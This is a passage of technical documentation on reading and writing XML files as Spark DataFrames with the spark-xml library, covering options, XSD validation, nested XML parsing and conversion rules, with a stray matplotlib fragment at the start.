xuplims=xuplims, uplims=uplims, lolims=lolims, marker='o', markersize=8, linestyle='none') # tidy up the figure ax.set_xlim((0, 5.5)) ax.set_title('Errorbar upper and lower limits') plt.show()
Keywords: matplotlib code example, codex, python plot, pyplot Gallery generated by Sphinx-Gallery | https://matplotlib.org/3.1.1/gallery/statistics/errorbar_limits.html | CC-MAIN-2020-10 | refinedweb | 401 | 52.97 |
ison Seim1,625 Points
how to lookup a character of a tuple string in a dictionary
def morse_code(word): morse_dict = { ', 'y': 'dash-dot-dash-dash', 'z': 'dash-dash-dot-dot' } a = list(word): # enter your code below morse_code("govern")
1 Answer
Chris FreemanTreehouse Moderator 67,622 Points
Hey Allison Seim, looking closer,
morse_dict uses curly brackets { }, instead of parens ( ), which makes it a
dict Rather than a
tuple
You can look up a letter in the dict using
morse_dict[char] where
char is the letter to wish to look up.
More on dict in the docs.
You won’t need to call the
morse_code function in your solution.
Post back if you need more help. Good luck!!! | https://teamtreehouse.com/community/how-to-lookup-a-character-of-a-tuple-string-in-a-dictionary | CC-MAIN-2021-43 | refinedweb | 117 | 62.01 |
The Hough transform is a useful tool in image analysis and in particular feature extraction. The technique uses a voting procedure to detect patterns such as lines, circles or other well-defined geometrical structures. First, the image is transformed into parameter space. In constrast to e.g. the Fourier transform, the Hough transform is not an involution. Any two points lying on the same line in image space will project into the same point in transform space. As a result, candidates of the sought geometric form appear as local maximas in transform space.
Let us illustrate this by a simple example. Consider the image below, depicting an octagon .
For each pixel
in the figure, we check whether its value is within a certain threshold. In this case, if it is zero. Essentially, this means that the point lies on the octagon. In transform space, this point corresponds to a sinusoidal curve given by
.
If two points
and
appear on the same line, we have that the two curves will intersect in the transform space. It must necessarily hold that
.
A slight re-arrangement gives
,
which describes the slope of the line. Hence, the two points lie on the same line.
Embodied in Python, it can look something like the code below.
from PIL import Image import numpy import math def line_transform(matrix): transformPlane = numpy.zeros(((matrix.shape[1]+matrix.shape[0])*2,180)) delta = matrix.shape[0] + matrix.shape[1] for y in xrange(matrix.shape[1]): for x in xrange(matrix.shape[0]): if A[x][y] == 0: for theta in xrange(0,180): phi = (y * math.sin(math.radians(theta)) + x * math.cos(math.radians(theta))) transformPlane[phi+delta][theta] += 1 for theta in xrange(0,180): for phi in xrange((matrix.shape[1]+matrix.shape[0])*2): if transformPlane[phi][theta] > 110: k = -1 / math.tan(math.radians(theta)) b = (phi-delta) / math.sin(math.radians(theta)) for x in xrange(matrix.shape[0]): y = int(k*x + b) if y < matrix.shape[1] and y > -1: A[x][y] = 100 Image.fromarray(A, 'L').show() img = Image.open("octagon.gif") A = numpy.array(img.getdata(), numpy.uint8).reshape(img.size[1], img.size[0]) line_transform(A)
The code returns a picture as given below, where the significant lines have been detected. | https://grocid.net/2015/05/06/playing-around-with-line-detection/ | CC-MAIN-2017-17 | refinedweb | 385 | 62.24 |
May 2013
Volume 28 Number 05
Windows with C++ - Introducing Direct2D 1.1
By Kenny Kerr | May 2013
Windows 8 launched with a major new version of Direct2D. Since then, Direct2D has made it into Windows RT (for ARM devices) and Windows Phone 8, both of which are based on this latest version of Windows. Support for Direct2D on the phone OS isn’t yet official, but it’s just a matter of time. What about Windows 7? A platform update is being prepared to bring the latest version of the DirectX family of APIs to Windows 7. It includes the latest versions of Direct2D, Direct3D, DirectWrite, the Windows Imaging Component, the Windows Animation Manager and so on. A major driver for this is, of course, Internet Explorer. Anywhere you find Internet Explorer 9 or higher, you’ll find Direct2D. By the time you read this, it’s likely that Internet Explorer 10 will be available on Windows 7 and that, too, will require Direct2D 1.1 to be installed as a matter of course. Given its ubiquity, there’s really no reason not to use Direct2D 1.1. But what is Direct2D 1.1 and how can you start using it? That’s the topic of this month’s column..
In my last column (msdn.microsoft.com/magazine/jj991972), I showed how you could use ID2D1HwndRenderTarget, the Direct2D HWND render target, in a desktop window. This mechanism continues to be supported by Direct2D 1.1 and is still the simplest way to get started with Direct2D, as it hides all of the underlying Direct3D and DirectX Graphics Infrastructure (DXGI) plumbing. To take advantage of the improvements in Direct2D 1.1 you need to eschew this render target, however, and instead opt for ID2D1DeviceContext, the new device context render target. At first, this might sound like something from Direct3D, and in some ways, it is. Like the HWND render target, the Direct2D device context inherits from the ID2D1RenderTarget interface and is thus very much a render target in the traditional sense, but it’s a whole lot more powerful. Creating it, however, is a bit more involved but well worth the effort, as it provides many new features and is the only way to use Direct2D with the Windows Runtime (WinRT). Therefore, if you want to use Direct2D in your Windows Store or Windows Phone apps, you’ll need to embrace the Direct2D device context. In this month’s column I’ll show you how to use the new render target in a desktop app. Next month, I’ll show you how the render target works with the Windows Runtime—this has more to do with the Windows Runtime than it does with Direct2D. The bulk of what you need to learn has to do with managing the Direct3D device, the swap chain, buffers and resources.
The nice thing about the original Direct2D HWND render target was that you really didn’t need to know anything about Direct3D or DirectX to get stuff done. That’s no longer the case. Fortunately, there isn’t a whole lot you need to know, as DirectX can certainly be daunting. DirectX is really a family of closely related APIs, of which Direct3D is the most well-known, while Direct2D is starting to steal some attention thanks to its relative ease of use and incredible power. Along the way, different parts of DirectX have come and gone. One relatively new member of the family is DXGI, which debuted with Direct3D 10. DXGI provides common GPU resource management facilities across the various DirectX APIs. Bridging the gap between Direct2D and Direct3D involves DXGI. The same goes for bridging the gap between Direct3D and the desktop’s HWND or the WinRT CoreWindow. DXGI provides the glue that binds them all together.
Headers and Other Glue
As I’ve done in the past, I’ll continue to use the Active Template Library (ATL) on the desktop just to keep the examples concise. You can use your own library or no library at all. It really doesn’t matter. I covered these options in my February 2013 column (msdn.microsoft.com/magazine/jj891018). To begin, you need to include the necessary Visual C++ libraries:
#include <wrl.h> #include <atlbase.h> #include <atlwin.h>
The Windows Runtime C++ Template Library (WRL) provides the handy ComPtr smart pointer, and the ATL headers are there for managing the desktop window. Next, you need the latest DirectX headers:
#include <d2d1_1.h> #include <d3d11_1.h>
The first one is the new Direct2D 1.1 header file. The Direct3D 11.1 header is needed for device management. To keep things simple I’ll assume the WRL and Direct2D namespaces are as follows:
using namespace Microsoft::WRL; using namespace D2D1;
Next, you need to tell the linker how to resolve the factory functions you’ll be using:
#pragma comment(lib, "d2d1") #pragma comment(lib, "d3d11")
I tend to avoid talking about error handling. As with so much of C++, the developer has many choices for how errors can be handled. This flexibility is in many ways what draws me, and many others, to C++, but it can be divisive. Still, I get many questions about error handling, so to avoid any confusion, Figure 1 shows what I rely on for error handling in desktop apps.
Figure 1 Error Handling
#define ASSERT ATLASSERT #define VERIFY ATLVERIFY #ifdef _DEBUG #define HR(expression) ASSERT(S_OK == (expression)) #else struct ComException { HRESULT const hr; ComException(HRESULT const value) : hr(value) {} }; inline void HR(HRESULT const hr) { if (S_OK != hr) throw ComException(hr); } #endif
The ASSERT and VERIFY macros are just defined in terms of the corresponding ATL macros. If you’re not using ATL, then you could just use the C Run-Time Library (CRT) _ASSERTE macro instead. Either way, assertions are vital as a debugging aid. VERIFY checks the result of an expression but only asserts in debug builds. In release builds the ASSERT expression is stripped out entirely while the VERIFY expression remains. The latter is useful as a sanity check for functions that must execute but shouldn’t fail short of some apocalyptic event. Finally, HR is a macro that ensures the expression—typically a COM-style function or interface method—is successful. In debug builds, it asserts so as to quickly pinpoint the line of code in a debugger. In release builds, it throws an exception to quickly force the application to crash. This is particularly handy if your application uses Windows Error Reporting (WER), as the offline crash dump will pinpoint the failure for you.
The Desktop Window
Now it’s time to start framing up the DesktopWindow class. First, I’ll define a base class to wrap up much of the boilerplate windowing plumbing. Figure 2 provides the initial structure.
Figure 2 Desktop Window Skeleton
template <typename T> struct DesktopWindow : CWindowImpl<DesktopWindow<T>, CWindow, CWinTraits<WS_OVERLAPPEDWINDOW | WS_VISIBLE>> { ComPtr<ID2D1DeviceContext> m_target; ComPtr<IDXGISwapChain1> m_swapChain; ComPtr<ID2D1Factory1> m_factory; DECLARE_WND_CLASS_EX(nullptr, 0, -1); BEGIN_MSG_MAP(c) MESSAGE_HANDLER(WM_PAINT, PaintHandler) MESSAGE_HANDLER(WM_SIZE, SizeHandler) MESSAGE_HANDLER(WM_DISPLAYCHANGE, DisplayChangeHandler) MESSAGE_HANDLER(WM_DESTROY, DestroyHandler) END_MSG_MAP() LRESULT PaintHandler(UINT, WPARAM, LPARAM, BOOL &) { PAINTSTRUCT ps; VERIFY(BeginPaint(&ps)); Render(); EndPaint(&ps); return 0; } LRESULT DisplayChangeHandler(UINT, WPARAM, LPARAM, BOOL &) { Render(); return 0; } LRESULT SizeHandler(UINT, WPARAM wparam, LPARAM, BOOL &) { if (m_target && SIZE_MINIMIZED != wparam) { ResizeSwapChainBitmap(); Render(); } return 0; } LRESULT DestroyHandler(UINT, WPARAM, LPARAM, BOOL &) { PostQuitMessage(0); return 0; } void"Introducing Direct2D 1.1")); MSG message; BOOL result; while (result = GetMessage(&message, 0, 0, 0)) { if (-1 != result) { DispatchMessage(&message); } } } };
DesktopWindow is a class template, as I rely on static or compile-time polymorphism to call the app’s window class for drawing and resource management at appropriate points. Again, I’ve already described the mechanics of ATL and desktop windows in my February 2013 column, so I won’t repeat that here. The main thing to note is that the WM_PAINT, WM_SIZE and WM_DISPLAYCHANGE messages are all handled with a call to a Render method. The WM_SIZE message also calls out to a ResizeSwapChainBitmap method. These hooks are needed to let DirectX know what’s happening with your window. I’ll describe what these do in a moment. Finally, the Run method creates the standard Direct2D factory object, retrieving the new ID2D1Factory1 interface in this case, and optionally lets the app’s window class create device-independent resources. It then creates the HWND itself and enters the message loop. The app’s wWinMain function is then a simple two-liner:
int __stdcall wWinMain(HINSTANCE, HINSTANCE, PWSTR, int) { SampleWindow window; window.Run(); }
Creating the Device
So far, most of what I’ve described has been a recap of what I’ve shown in previous columns for window management. Now I’ve come to the point where things get very different. The HWND render target did a lot of work for you to hide the underlying DirectX plumbing. Being a render target, the Direct2D device context still delivers the results of drawing commands to a target, but the target is no longer the HWND—rather, it’s a Direct2D image. This image is an abstraction, which can literally be a Direct2D bitmap, a DXGI surface or even a command list to be replayed in some other context.
The first thing to do is to create a Direct3D device object. Direct3D defines a device as something that allocates resources, renders primitives and communicates with the underlying graphics hardware. The device consists of a device object for managing resources and a device-context object for rendering with those resources. The D3D11CreateDevice function creates a device, optionally returning pointers to the device object and device-context object. Figure 3 shows what this might look like. I don’t want to bog you down with Direct3D minutiae, so I won’t describe every option in detail but instead will focus on what’s relevant to Direct2D.
Figure 3 Creating a Direct3D Device
HRESULT CreateDevice(D3D_DRIVER_TYPE const type, ComPtr<ID3D11Device> & device) { UINT flags = D3D11_CREATE_DEVICE_BGRA_SUPPORT; #ifdef _DEBUG flags |= D3D11_CREATE_DEVICE_DEBUG; #endif return D3D11CreateDevice(nullptr, type, nullptr, flags, nullptr, 0, D3D11_SDK_VERSION, device.GetAddressOf(), nullptr, nullptr); }
This function’s second parameter indicates the type of device that you’d like to create. The D3D_DRIVER_TYPE_HARDWARE constant indicates that the device should be backed by the GPU for hardware-accelerated rendering. If a GPU is unavailable, then the D3D_DRIVER_TYPE_WARP constant may be used. WARP is a high-performance software rasterizer and is a great fallback. You shouldn’t assume that a GPU is available, especially if you’d like to run or test your software in constrained environments such as Hyper-V virtual machines (VMs). Here’s how you might use the function from Figure 3 to create the Direct3D device:
ComPtr<ID3D11Device> d3device; auto hr = CreateDevice(D3D_DRIVER_TYPE_HARDWARE, d3device); if (DXGI_ERROR_UNSUPPORTED == hr) { hr = CreateDevice(D3D_DRIVER_TYPE_WARP, d3device); } HR(hr);
Figure 3 also illustrates how you can enable the Direct3D debug layer for debug builds. One thing to watch out for is that the D3D11CreateDevice function will mysteriously fail if the debug layer isn’t actually installed. This won’t be a problem on your development machine, because Visual Studio would’ve installed it along with the Windows SDK. If you happen to copy a debug build onto a test machine, you might bump into this problem. This is in contrast to the D2D1CreateFactory function, which will still succeed even if the Direct2D debug layer isn’t present.
Creating the Swap Chain
The next step is to create a DXGI swap chain for the application’s HWND. A swap chain is a collection of buffers used for displaying frames to the user. Typically, there are two buffers in the chain, often called the front buffer and the back buffer, respectively. The GPU presents the image stored in the front buffer while the application renders into the back buffer. When the application is done rendering it asks DXGI to present the back buffer, which basically swaps the pointers to the front and back buffers, allowing the GPU to present the new frame and the application to render the next frame. This is a gross simplification, but it’s all you need to know for now.
To create the swap chain you first need to get hold of the DXGI factory and retrieve its IDXGIFactory2 interface. You can do so by calling the CreateDXGIFactory1 function, but given that you’ve just created a Direct3D device object, you can also use the DirectX object model to make your way there. First, you need to query for the device object’s IDXGIDevice interface:
ComPtr<IDXGIDevice> dxdevice; HR(d3device.As(&dxdevice));
Next, you need to retrieve the display adapter, virtual or otherwise, for the device:
ComPtr<IDXGIAdapter> adapter; HR(dxdevice->GetAdapter(adapter.GetAddressOf()));
The adapter’s parent object is the DXGI factory:
ComPtr<IDXGIFactory2> factory; HR(adapter->GetParent(__uuidof(factory), reinterpret_cast<void **>(factory.GetAddressOf())));
This might seem like a lot more work than simply calling the CreateDXGIFactory1 function, but in a moment you’re going to need the IDXGIDevice interface, so it’s really just one extra method call.
The IDXGIFactory2 interface provides the CreateSwapChainForHwnd method for creating a swap chain for a given HWND. Before calling it, you need to prepare a DXGI_SWAP_CHAIN_DESC1 structure describing the particular swap chain structure and behavior that you’d like. A bit of care is needed when initializing this structure, as it’s what most distinguishes the various platforms on which you’ll find Direct2D. Here’s what it might look like:
DXGI_SWAP_CHAIN_DESC1 props = {}; props.Format = DXGI_FORMAT_B8G8R8A8_UNORM; props.SampleDesc.Count = 1; props.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT; props.BufferCount = 2;
The Format member describes the desired format for the swap chain buffers. I’ve chosen a 32-bit format with 8 bits for each color channel and alpha component. Overall, this provides the best performance and compatibility across devices and APIs. The SampleDesc member affects Direct3D image quality, as it relates to antialiasing. Generally, you’ll want Direct2D to handle antialiasing, so this configuration merely tells Direct3D not to do anything. The BufferUsage member describes how the swap chain buffers will be used and allows DirectX to optimize memory management. In this case I’m indicating that the buffer will be used only for rendering output to the screen. This means that the buffer won’t be accessible from the CPU, but the performance will be greatly improved as a result. The BufferCount member indicates how many buffers the swap chain will contain. This is typically no more than two to conserve memory, but it may be more for exceedingly high-speed rendering (although that’s rare). In fact, to conserve memory, Windows Phone 8 allows only a single buffer to be used. There are a number of other swap chain members, but these are the only ones required for a desktop window. Now create the swap chain:
HR(factory->CreateSwapChainForHwnd(d3device.Get(), m_hWnd, &props, nullptr, nullptr, m_swapChain.GetAddressOf()));
The first parameter indicates the Direct3D device where the swap chain resources will be allocated, and the second is the target HWND where the front buffer will be presented. If all goes well, the swap chain is created. One thing to keep in mind is that only a single swap chain can be associated with a given HWND. This might seem obvious, or not, but it’s something you need to watch out for. If this method fails, it’s likely that you failed to release device-specific resources before re-creating the device after a device-loss event.
Creating the Direct2D Device
The next step is to create the Direct2D device. Direct2D 1.1 is modeled more closely on Direct3D in that instead of simply having a render target, it now has both a device and device context. The device is a Direct2D resource object that’s linked to a particular Direct3D device. Like the Direct3D device, it serves as a resource manager. Unlike the Direct3D device context, which you can safely ignore, the Direct2D device context is the render target that exposes the drawing commands, which you’ll need. The first step is to use the Direct2D factory to create the device that’s bound to the underlying Direct3D device via its DXGI interface:
ComPtr<ID2D1Device> device; HR(m_factory->CreateDevice(dxdevice.Get(), device.GetAddressOf()));
This device represents the display adapter in Direct2D. I typically don’t hold on to the ID2D1Device pointer, because that makes it simpler to handle device loss and swap chain buffer resizing. What you really need it for is to create the Direct2D device context:
HR(device->CreateDeviceContext(D2D1_DEVICE_CONTEXT_OPTIONS_NONE, m_target.GetAddressOf()));
What you now have is a Direct2D render target that you can use to batch up drawing commands as usual, but there’s still one more step before you can do so. Unlike the HWND render target, which could only ever target the window for which it was created, the device context can switch targets at run time and initially has no target set at all.
Connecting the Device Context and Swap Chain
The next step is to set the swap chain’s back buffer as the target of the Direct2D device context. The swap chain’s GetBuffer method will return the back buffer as a DXGI surface:
ComPtr<IDXGISurface> surface; HR(m_swapChain->GetBuffer(0, // buffer index __uuidof(surface), reinterpret_cast<void **>(surface.GetAddressOf())));
You can now use the device context’s CreateBitmapFromDxgiSurface method to create a Direct2D bitmap to represent the DXGI surface, but first you need to describe the bitmap’s format and intended use. You can define the bitmap properties as follows:
auto props = BitmapProperties1( D2D1_BITMAP_OPTIONS_TARGET | D2D1_BITMAP_OPTIONS_CANNOT_DRAW, PixelFormat( DXGI_FORMAT_B8G8R8A8_UNORM, D2D1_ALPHA_MODE_IGNORE));
The D2D1_BITMAP_OPTIONS_TARGET constant indicates that the bitmap will be used as the target of a device context. The D2D1_BITMAP_OPTIONS_CANNOT_DRAW constant relates to the swap chain’s DXGI_USAGE_RENDER_TARGET_OUTPUT attribute, indicating that it can be used only as an output and not as an input to other drawing operations. PixelFormat just describes to Direct2D what the underlying swap chain buffer looks like. You can now create a Direct2D bitmap to point to the swap chain back buffer and point the device context to this bitmap:
ComPtr<ID2D1Bitmap1> bitmap; HR(m_target->CreateBitmapFromDxgiSurface(surface.Get(), props, bitmap.GetAddressOf())); m_target->SetTarget(bitmap.Get());
Finally, you need to tell Direct2D how to scale its logical coordinate system to the physical display embodied by the DXGI surface:
float dpiX, dpiY; m_factory->GetDesktopDpi(&dpiX, &dpiY); m_target->SetDpi(dpiX, dpiY);
Rendering
The DesktopWindow Render method acts as the catalyst for much of the Direct2D device management. Figure 4 provides the basic outline of the Render method.
Figure 4 The DesktopWindow Render Method
void Render() { if (!m_target) { CreateDevice(); CreateDeviceSwapChainBitmap(); } m_target->BeginDraw(); static_cast<T *>(this)->Draw(); m_target->EndDraw(); auto const hr = m_swapChain->Present(1, 0); if (S_OK != hr && DXGI_STATUS_OCCLUDED != hr) { ReleaseDevice(); } }
As with the HWND render target, the Render method first checks whether the render target needs to be created. The CreateDevice method contains the Direct3D device, DXGI swap chain and Direct2D device context creation. The CreateDeviceSwapChainBitmap method contains the code to connect the swap chain to the device context by means of a DXGI surface-backed Direct2D bitmap. The latter is kept separate because it’s needed during window resizing.
The Render method then follows the usual pattern of bracketing draw commands with the BeginDraw and EndDraw methods. Notice that I don’t bother to check the result of the EndDraw method. Unlike the HWND render target, the device context’s EndDraw method doesn’t actually present the newly drawn frame to the screen. Instead, it merely concludes rendering to the target bitmap. It’s the job of the swap chain’s Present method to present this to the screen, and it’s at this point that any rendering and presentation issues can be handled.
Because I’m only using a simple event-driven rendering model for this window, the presentation is straightforward. If I were using an animation loop for synchronized rendering at the display’s refresh frequency, things would get a lot more complicated, but I’ll cover that in a future column. In this case, there are three scenarios to deal with. Ideally, Present returns S_OK and all is well. Alternatively, Present returns DXGI_STATUS_OCCLUDED indicating the window is occluded, meaning it’s invisible. This is increasingly rare, as desktop composition relies on the window’s presentation to remain active. One source of occlusion, however, is when the active desktop is switched. This happens most often if a User Account Control (UAC) prompt appears or the user presses Ctlr+Alt+Del to switch users or lock the computer. At any rate, occlusion doesn’t mean failure, so there’s nothing you need to do except perhaps avoid extra rendering calls. If Present fails for any other reason, then it’s safe to assume that the underlying Direct3D device has been lost and must be re-created. The DesktopWindow’s ReleaseDevice method might look like this:
void ReleaseDevice() { m_target.Reset(); m_swapChain.Reset(); static_cast<T *>(this)->ReleaseDeviceResources(); }
Here’s where you can start to understand why I avoid holding on to any unnecessary interface pointers. Every resource pointer represents a reference directly or indirectly to the underlying device. Each one must be released in order for the device to be properly re-created. At a minimum, you need to hold on to the render target (so that you can actually issue drawing commands) and the swap chain (so that you can present). Related to this—and the final piece of the puzzle—is the ResizeSwapChainBitmap method I alluded to inside the WM_SIZE message handler.
The HWND render target made this simple with its Resize method. Because you’re now in charge of the swap chain, it’s your responsibility to resize its buffers. Of course, this will fail unless all references to these buffers have been released. Assuming you aren’t directly holding on to any, this is simple enough. Figure 5 shows you how.
Figure 5 Resizing the Swap Chain
void ResizeSwapChainBitmap() { m_target->SetTarget(nullptr); if (S_OK == m_swapChain->ResizeBuffers(0, 0, 0, DXGI_FORMAT_UNKNOWN, 0)) { CreateDeviceSwapChainBitmap(); } else { ReleaseDevice(); } }
In this case, the only reference to the swap chain’s back buffer that the DesktopWindow holds is the one held indirectly by the device context render target. Setting this to a nullptr value releases that final reference so that the ResizeBuffers method will succeed. The various parameters just tell the swap chain to resize the buffers based on the window’s new size and keep everything else as it was. Assuming ResizeBuffers succeeds, I simply call the CreateDeviceSwapChainBitmap method to create a new Direct2D bitmap for the swap chain and hook it up to the Direct2D device context. If anything goes wrong, I simply release the device and all of its resources; the Render method will take care of re-creating it all when the time comes.
You now have everything you need to render in a desktop window with Direct2D 1.1! And that’s all I have room for this month. Join me next time (Microsoft) | https://docs.microsoft.com/en-us/archive/msdn-magazine/2013/may/windows-with-c-introducing-direct2d-1-1 | CC-MAIN-2020-24 | refinedweb | 3,822 | 53.71 |
Code Sample: ASP.NET Simple Forms
Published: April 7, 2011
Updated: March 4, 2015
Applies To: Azure
This sample illustrates how to integrate ACS with an ASP.NET Web Forms application. The code for this sample is located in the ASPNETSimpleForms (C#\Websites/ASPNETSimpleForms) subdirectory of the Microsoft Azure Active Directory Access Control (ACS) Code Samples package.
To run this sample, you will need:
- An account in the Azure portal and an Access Control namespace.
- Visual Studio 2010 (any version)
- Windows Identity Foundation SDK
For more details, see ACS Prerequisites ().
The ACS configuration required for this sample can be performed by using either the ACS Management Portal or the ACS Management Service. This topic describes both options.
- Option 1: Configuring the sample using the ACS Management Portal
- Option 2: Configuring the sample using the ACS Management Service.)
This action opens the Access Control Service management portal.
To establish relationships with the identity providers you would like the users of your website to use when logging in, click Identity providers, and add Yahoo! and Google. Then click Home to return to the main page.
To register your application with ACS, click Relying party applications, click Add, and then enter the following information in the form:
- In the Name field, enter ASPNET Simple Forms Sample.
- In the Realm field, enter
- In the Return URL field, enter
- Select SAML 2.0 from the Token format drop-down list box.
- In the Identity providers section, select Google, Windows Live ID, and Yahoo!
- In the Token signing field, select Use service namespace certificate (standard).
- Leave the other fields at their default values.
Click Save and then navigate to the main page.
With your relying party application registered, it is now time to create the rules that determine the claims that ACS will issue to your application. In this sample, we will simply pass through all the claims issued by the identity provider. To create this rule, click Rule Groups and then click Default Rule Group for ASPNET Simple Forms Sample. At the bottom of the page, click the Generate link. Ensure that the three identity providers Yahoo!, Google, and are selected and click Generate. Finally, click Save and navigate back to the main page.
With ACS configured, open Visual Studio., which will configure ACS to run this sample.
Open the sample located at Websites\ASPNETSimpleForms\ASPNETSimpleForms.sln in Visual Studio.
Press F5 to start the application.
Close the browser to stop the application.
Right-click the project in the portal under Application Integration. If your Access Control namespace is acssamples, the URI is. accesscontrol.windows.net/FederationMetadata/2007-06/FederationMetadata.xml. After you enter the value, click Next.
Since your website does not require encrypted tokens, click Next on the remaining dialog boxes, and then click Finish.
Both ACS and your application are now configured. Press F5 in Visual Studio to run the application. Your browser will be taken to the ACS hosted Home Realm Discovery page.
Click Yahoo! or Google and your browser will be taken to that identity provider.
Once your browser is at the identity provider, enter credentials for a test account, and accept the user consent form.
Your browser should return to. Notice that the name of your test identity appears in the upper-right section of the page. This data was issued by the identity provider, and was returned to your application through ACS. | https://msdn.microsoft.com/en-us/library/gg185938.aspx | CC-MAIN-2015-18 | refinedweb | 564 | 58.89 |
XML file
This article describes how to read and write an XML file as an Apache Spark data source.
Requirements
Create the
spark-xmllibrary as a Maven library. For the Maven coordinate, specify:
- Databricks Runtime 7.x and above:
com.databricks:spark-xml_2.12:<release>
- Databricks Runtime 5.5 LTS and 6.x:
com.databricks:spark-xml_2.11:<release>
See
spark-xmlReleases for the latest version of
<release>.
Install the library on a cluster.
Example
The example in this section uses the books XML file.
Retrieve the books XML file:
$ wget
-
Read and write XML data
/*Infer schema*/ CREATE TABLE books USING xml OPTIONS (path "dbfs:/books.xml", rowTag "book") /*Specify column names and types*/ CREATE TABLE books (author string, description string, genre string, _id string, price double, publish_date string, title string) USING xml OPTIONS (path "dbfs:/books.xml", rowTag "book")
// Infer schema import com.databricks.spark.xml._ // Add the DataFrame.read.xml() method val df = spark.read .option("rowTag", "book") .xml("dbfs:/books.xml") val selectedData = df.select("author", "_id") selectedData.write .option("rootTag", "books") .option("rowTag", "book") .xml("dbfs:/newbooks.xml") // Specify schema import org.apache.spark.sql.types.{StructType, StructField, StringType, DoubleType} val customSchema = StructType(Array( StructField("_id", StringType, nullable = true), StructField("author", StringType, nullable = true), StructField("description", StringType, nullable = true), StructField("genre", StringType, nullable = true), StructField("price", DoubleType, nullable = true), StructField("publish_date", StringType, nullable = true), StructField("title", StringType, nullable = true))) val df = spark.read .option("rowTag", "book") .schema(customSchema) .xml("books.xml") val selectedData = df.select("author", "_id") selectedData.write .option("rootTag", "books") .option("rowTag", "book") .xml("dbfs:/newbooks.xml")
# Infer schema library(SparkR) sparkR.session("local[4]", sparkPackages = c("com.databricks:spark-xml_2.12:<release>")) df <- read.df("dbfs:/books.xml", source = "xml", rowTag = "book") # Default `rootTag` and `rowTag` write.df(df, "dbfs:/newbooks.xml", "xml") # Specify schema customSchema <- structType( structField("_id", "string"), structField("author", "string"), structField("description", "string"), structField("genre", "string"), structField("price", "double"), structField("publish_date", "string"), structField("title", "string")) df <- read.df("dbfs:/books.xml", source = "xml", schema = customSchema, rowTag = "book") # In this case, `rootTag` is set to "ROWS" and `rowTag` is set to "ROW". write.df(df, "dbfs:/newbooks.xml", "xml", "overwrite")
Options
- Read
path: Location of XML files. Accepts standard Hadoop globbing expressions.
rowTag: The row tag to treat as a row. For example, in this XML
<books><book><book>...</books>, the value would be
book. Default is
ROW.
samplingRatio: Sampling ratio for inferring schema (0.0 ~ 1). Default is 1. Possible types are
StructType,
ArrayType,
StringType,
LongType,
DoubleType,
BooleanType,
TimestampTypeand
NullType, unless you provide a schema.
excludeAttribute: Whether to exclude attributes in elements. Default is false.
nullValue: The value to treat as a
nullvalue. Default is
"".
mode: The mode for dealing with corrupt records. Default is
PERMISSIVE.
PERMISSIVE:
- When it encounters a corrupted record, sets all fields to
nulland puts the malformed string into a new field configured by
columnNameOfCorruptRecord.
- When it encounters a field of the wrong data type, sets the offending field to
null.
DROPMALFORMED: ignores corrupted records.
FAILFAST: throws an exception when it detects corrupted records.
inferSchema: if
true, attempts to infer an appropriate type for each resulting DataFrame column, like a boolean, numeric or date type. If
false, all resulting columns are of string type. Default is
true.
columnNameOfCorruptRecord: The name of new field where malformed strings are stored. Default is
_corrupt_record.
attributePrefix: The prefix for attributes so that to differentiate attributes and elements. This is the prefix for field names. Default is
_.
valueTag: The tag used for the value when there are attributes in an element that has no child elements. Default is
_VALUE.
charset: Defaults to
UTF-8but can be set to other valid charset names.
ignoreSurroundingSpaces: Whether or not whitespaces surrounding values should be skipped. Default is false.
rowValidationXSDPath: Path to an XSD file that is used to validate the XML for each row. Rows that fail to validate are treated like parse errors as above. The XSD does not otherwise affect the schema provided or inferred. If the same local path is not already also visible on the executors in the cluster, then the XSD and any others it depends on should be added to the Spark executors with SparkContext.addFile. In this case, to use local XSD
/foo/bar.xsd, call
addFile("/foo/bar.xsd")and pass
"bar.xsd"as
rowValidationXSDPath.
- Write
path: Location to write files.
rowTag: The row tag to treat as a row. For example, in this XML
<books><book><book>...</books>, the value would be
book. Default is
ROW.
rootTag: The root tag to treat as the root. For example, in this XML
<books><book><book>...</books>, the value would be
books. Default is
ROWS.
nullValue: The value to write
nullvalue. Default is the string
"null". When
"null", it does not write attributes and elements for fields.
attributePrefix: The prefix for attributes to differentiate attributes and elements. This is the prefix for field names. Default is
_.
valueTag: The tag used for the value when there are attributes in an element that has no child elements. Default is
_VALUE.
compression: Compression codec to use when saving to file. Should be the fully qualified name of a class implementing
org.apache.hadoop.io.compress.CompressionCodecor one of case-insensitive short names (
bzip2,
gzip,
lz4, and
snappy). Default is no compression.
Supports the shortened name usage; You can use
xml instead of
com.databricks.spark.xml.
XSD support
You can validate individual rows against an XSD schema using
rowValidationXSDPath.
You use the utility
com.databricks.spark.xml.util.XSDToSchema to extract a Spark DataFrame
schema from some XSD files. It supports only simple, complex and sequence types, only basic XSD functionality,
and is experimental.
import com.databricks.spark.xml.util.XSDToSchema import java.nio.file.Paths val schema = XSDToSchema.read(Paths.get("/path/to/your.xsd")) val df = spark.read.schema(schema)....xml(...)
Parse nested XML
Although primarily used to convert an XML file into a DataFrame, you can also use the
from_xml method to parse XML in a string-valued column in an existing DataFrame and add it as a new column with parsed results as a struct with:
import com.databricks.spark.xml.functions.from_xml import com.databricks.spark.xml.schema_of_xml import spark.implicits._ val df = ... /// DataFrame with XML in column 'payload' val payloadSchema = schema_of_xml(df.select("payload").as[String]) val parsed = df.withColumn("parsed", from_xml($"payload", payloadSchema))
Note
mode:
- If set to
PERMISSIVE, the default, the parse mode instead defaults to
DROPMALFORMED. If you include a column in the schema for
from_xmlthat matches the
columnNameOfCorruptRecord, then
PERMISSIVEmode outputs malformed records to that column in the resulting struct.
- If set to
DROPMALFORMED, XML values that do not parse correctly result in a
nullvalue for the column. No rows are dropped.
from_xmlconverts arrays of strings containing XML to arrays of parsed structs. Use
schema_of_xml_arrayinstead.
from_xml_stringis an alternative for use in UDFs that operates on a String directly instead of a column.
Conversion rules
Due to structural differences between DataFrames and XML, there are some conversion rules from XML data to DataFrame and from DataFrame to XML data. You can disable handling attributes with the option
excludeAttribute.
Convert XML to DataFrame
Attributes: Attributes are converted as fields with the prefix specified in the
attributePrefixoption. If
attributePrefixis
_, the document
<one myOneAttrib="AAAA"> <two>two</two> <three>three</three> </one>
produces the schema:
root |-- _myOneAttrib: string (nullable = true) |-- two: string (nullable = true) |-- three: string (nullable = true)
If an element has attributes but no child elements, the attribute value is put in a separate field specified in the
valueTagoption. If
valueTagis
_VALUE, the document
<one> <two myTwoAttrib="BBBBB">two</two> <three>three</three> </one>
produces the schema:
